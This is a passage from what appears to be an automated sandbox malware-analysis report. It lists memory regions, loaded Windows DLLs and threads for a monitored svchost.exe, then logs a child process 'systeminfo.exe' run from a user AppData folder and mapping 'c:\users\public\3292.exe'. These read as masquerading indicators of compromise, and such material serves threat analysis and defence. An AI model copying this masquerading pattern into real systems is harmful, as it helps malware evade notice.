"pagefile_0x00000000006f0000" filename = "" Region: id = 1597 start_va = 0x7b0000 end_va = 0xba2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1598 start_va = 0xbb0000 end_va = 0xbb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 1599 start_va = 0xbc0000 end_va = 0xbc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 1600 start_va = 0xbe0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1601 start_va = 0xbf0000 end_va = 0xc6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 1602 start_va = 0xc70000 end_va = 0xceffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 1603 start_va = 0xcf0000 end_va = 0xd6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 1604 start_va = 0xd70000 end_va = 0xe6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 1605 start_va = 0xf80000 end_va = 0x124efff entry_point = 0xf80000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1606 start_va = 0x1250000 end_va = 0x134ffff entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 1607 start_va = 0x1380000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1608 start_va = 0x1400000 end_va = 0x147ffff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1609 start_va = 0x14c0000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 1610 start_va = 0x1540000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 1611 start_va = 0x16d0000 end_va = 0x16dffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 1612 start_va = 0x1780000 end_va = 0x17fffff entry_point = 0x0 region_type = private name = "private_0x0000000001780000" filename = "" Region: id = 1613 start_va = 0x1800000 end_va = 0x18bffff entry_point = 0x1800000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1614 start_va = 0x18c0000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 1615 start_va = 0x1950000 end_va = 0x19cffff entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 1616 start_va = 0x1a20000 end_va = 0x1a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a20000" filename = "" Region: id = 1617 start_va = 0x1ac0000 end_va = 0x1b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 1618 start_va = 0x1b80000 end_va = 0x1bfffff entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 1619 start_va = 0x1c50000 end_va = 0x1c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 1620 start_va = 0x1c70000 end_va = 0x1ceffff entry_point = 0x0 region_type = private name = "private_0x0000000001c70000" filename = "" Region: id = 1621 start_va = 0x1cf0000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 1622 start_va = 0x1e60000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 1623 start_va = 0x1f70000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 1624 start_va = 0x1ff0000 end_va = 0x21effff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 1625 start_va = 0x2390000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 1626 start_va = 0x2540000 end_va = 0x25bffff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 1627 start_va = 0x73a40000 end_va = 0x73a42fff entry_point = 0x73a40000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 1628 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x76e8a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1629 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x76f85ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1630 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1631 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1632 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1633 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1634 start_va = 0xff4d0000 end_va = 0xff4dafff entry_point = 0xff4d0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1635 start_va = 0x7fef1370000 end_va = 0x7fef13cffff entry_point = 0x7fef1370000 region_type = mapped_file name = "w32time.dll" filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll") Region: id = 1636 start_va = 0x7fef3780000 end_va = 0x7fef378bfff entry_point = 0x7fef378602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1637 start_va = 0x7fef3790000 end_va = 0x7fef3867fff entry_point = 0x7fef3790000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 1638 start_va = 0x7fef4470000 end_va = 0x7fef44ebfff entry_point = 0x7fef4470000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1639 start_va = 0x7fef5030000 end_va = 0x7fef5047fff entry_point = 0x7fef5030000 region_type = mapped_file name = "vmictimeprovider.dll" filename = "\\Windows\\System32\\vmictimeprovider.dll" (normalized: "c:\\windows\\system32\\vmictimeprovider.dll") Region: id = 1640 start_va = 0x7fef5300000 end_va = 0x7fef5307fff entry_point = 0x7fef5301414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1641 start_va = 0x7fef5e60000 end_va = 0x7fef5e6ffff entry_point = 0x7fef5e60000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 1642 start_va = 0x7fef5e70000 end_va = 0x7fef5e81fff entry_point = 0x7fef5e70000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 1643 start_va = 0x7fef7270000 end_va = 0x7fef7288fff entry_point = 0x7fef7270000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 1644 start_va = 0x7fef74d0000 end_va = 0x7fef7533fff entry_point = 0x7fef74d1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1645 start_va = 0x7fef7540000 end_va = 0x7fef75b0fff entry_point = 0x7fef7541010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1646 start_va = 0x7fef7830000 end_va = 0x7fef78a3fff entry_point = 0x7fef78366f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1647 start_va = 0x7fefaa40000 end_va = 0x7fefaa57fff entry_point = 0x7fefaa41bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1648 start_va = 0x7fefaa60000 end_va = 0x7fefaa70fff entry_point = 0x7fefaa616ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1649 start_va = 0x7fefaa90000 end_va = 0x7fefaae2fff entry_point = 0x7fefaa92b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1650 start_va = 0x7fefabc0000 end_va = 0x7fefabc9fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 1651 start_va = 0x7fefabe0000 end_va = 0x7fefabeafff entry_point = 0x7fefabe1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1652 start_va = 0x7fefabf0000 end_va = 0x7fefac16fff entry_point = 0x7fefabf98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1653 start_va = 0x7fefac60000 end_va = 0x7fefacc6fff entry_point = 0x7fefac76060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1654 start_va = 0x7feface0000 end_va = 0x7fefacebfff entry_point = 0x7feface0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1655 start_va = 0x7fefad60000 end_va = 0x7fefad74fff entry_point = 0x7fefad660d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1656 start_va = 0x7fefb2d0000 end_va = 0x7fefb2dafff entry_point = 0x7fefb2d0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 1657 start_va = 0x7fefb2e0000 end_va = 0x7fefb2f8fff entry_point = 0x7fefb2e0000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 1658 start_va = 0x7fefb300000 end_va = 0x7fefb314fff entry_point = 0x7fefb300000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 1659 start_va = 0x7fefb500000 end_va = 0x7fefb517fff entry_point = 0x7fefb501130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1660 start_va = 0x7fefc1a0000 end_va = 0x7fefc1abfff entry_point = 0x7fefc1a1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1661 start_va = 0x7fefc270000 end_va = 0x7fefc276fff entry_point = 0x7fefc2714b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1662 start_va = 0x7fefc360000 end_va = 0x7fefc37afff entry_point = 0x7fefc360000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1663 start_va = 0x7fefc380000 end_va = 0x7fefc39dfff entry_point = 0x7fefc3813b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1664 start_va = 0x7fefc4d0000 end_va = 0x7fefc4d9fff entry_point = 0x7fefc4d3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1665 start_va = 0x7fefc5d0000 end_va = 0x7fefc616fff entry_point = 0x7fefc5d1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1666 start_va = 0x7fefc6c0000 end_va = 0x7fefc6effff entry_point = 0x7fefc6c0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1667 start_va = 0x7fefc6f0000 end_va = 0x7fefc74afff entry_point = 0x7fefc6f6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1668 start_va = 0x7fefc860000 end_va = 0x7fefc866fff entry_point = 0x7fefc86142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1669 start_va = 0x7fefc870000 end_va = 0x7fefc8c4fff entry_point = 0x7fefc871054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1670 start_va = 0x7fefc8d0000 end_va = 0x7fefc8e6fff entry_point = 0x7fefc8d32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1671 start_va = 0x7fefcb70000 end_va = 0x7fefcb83fff entry_point = 0x7fefcb70000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1672 start_va = 0x7fefce70000 end_va = 0x7fefce7afff entry_point = 0x7fefce71030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1673 start_va = 0x7fefcea0000 end_va = 0x7fefcec4fff entry_point = 0x7fefcea9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1674 start_va = 0x7fefced0000 end_va = 0x7fefcedefff entry_point = 0x7fefced1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1675 start_va = 0x7fefcee0000 end_va = 0x7fefcf70fff entry_point = 0x7fefcee1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1676 start_va = 0x7fefcfc0000 end_va = 0x7fefcfd3fff entry_point = 0x7fefcfc10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1677 start_va = 0x7fefcfe0000 end_va = 0x7fefcfeefff entry_point = 0x7fefcfe19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1678 start_va = 0x7fefd320000 end_va = 0x7fefd38afff entry_point = 0x7fefd3230e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1679 start_va = 0x7fefd3b0000 end_va = 0x7fefd48afff entry_point = 0x7fefd3d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1680 start_va = 0x7fefd490000 end_va = 0x7fefd49dfff entry_point = 0x7fefd491080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1681 start_va = 0x7fefd4a0000 end_va = 0x7fefd568fff entry_point = 0x7fefd51a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1682 start_va = 0x7fefe300000 end_va = 0x7fefe32dfff entry_point = 0x7fefe301010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1683 start_va = 0x7fefe330000 end_va = 0x7fefe396fff entry_point = 0x7fefe33b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1684 start_va = 0x7fefe3a0000 end_va = 0x7fefe3a7fff entry_point = 0x7fefe3a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1685 start_va = 0x7fefe810000 end_va = 0x7fefea12fff entry_point = 0x7fefe833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1686 start_va = 0x7fefeb50000 end_va = 0x7fefebe8fff entry_point = 0x7fefeb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1687 start_va = 0x7fefebf0000 end_va = 0x7fefecf8fff entry_point = 0x7fefebf1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1688 start_va = 0x7fefed80000 end_va = 0x7fefedf0fff entry_point = 0x7fefed91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1689 start_va = 0x7fefef80000 end_va = 0x7feff01efff entry_point = 0x7fefef825a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1690 start_va = 0x7feff020000 end_va = 0x7feff03efff entry_point = 0x7feff0260e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1691 start_va = 0x7feff040000 end_va = 0x7feff08cfff entry_point = 0x7feff041070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1692 start_va = 0x7feff090000 end_va = 0x7feff1bcfff entry_point = 0x7feff0ded50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1693 start_va = 0x7feff1c0000 end_va = 0x7feff296fff entry_point = 0x7feff1c3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1694 start_va = 0x7feff3b0000 end_va = 0x7feff3b0fff entry_point = 0x7feff3b0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1695 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1696 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1697 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1698 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1699 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1700 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1701 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1702 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1703 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1704 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1705 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1706 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1707 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1708 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1709 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1710 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1711 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1712 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 51 os_tid = 0xbc0 Thread: id = 52 os_tid = 0x73c Thread: id = 53 os_tid = 0x5bc Thread: id = 54 os_tid = 0x7dc Thread: id = 55 os_tid = 0x7d8 Thread: id = 56 os_tid = 0x7b4 Thread: id = 57 os_tid = 0x79c Thread: id = 58 os_tid = 0x77c Thread: id = 59 os_tid = 0x734 Thread: id = 60 os_tid = 0x5b4 Thread: id = 61 os_tid = 0x510 Thread: id = 62 os_tid = 0x134 Thread: id = 63 os_tid = 0x12c Thread: id = 64 os_tid = 0x11c Thread: id = 65 os_tid = 0xcc Thread: id = 66 os_tid = 0x3fc Thread: id = 84 os_tid = 0xae0 Thread: id = 102 os_tid = 0xb3c Thread: id = 104 os_tid = 0xb54 Process: id = "9" image_name = "systeminfo.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe" page_root = "0x45c71000" os_pid = "0x674" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x81c" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" \"C:\\ProgramData\\FB6F.tmp\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1749 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1750 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1751 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1752 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1753 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1754 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1755 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1756 start_va = 0x400000 end_va = 0x418fff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1757 start_va = 0xbe0000 end_va = 0xbfefff entry_point = 0xbe18a0 region_type = mapped_file name = "3292.exe" filename = "\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe") Region: id = 1758 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1759 start_va = 0x77270000 end_va = 0x773effff entry_point = 0x77270000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1760 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1761 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1762 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1763 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1764 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1765 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1766 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1767 start_va = 0x590000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1768 start_va = 0x746e0000 end_va = 0x746e7fff entry_point = 0x746e20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1769 start_va = 0x746f0000 end_va = 0x7474bfff entry_point = 0x7472f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1770 start_va = 0x74750000 end_va = 0x7478efff entry_point = 0x7477de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1771 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1772 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1773 start_va = 0x780000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 1774 start_va = 0x75250000 end_va = 0x75295fff entry_point = 0x75257478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1775 start_va = 0x759f0000 end_va = 0x75afffff entry_point = 0x75a032d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1776 start_va = 0x76e70000 end_va = 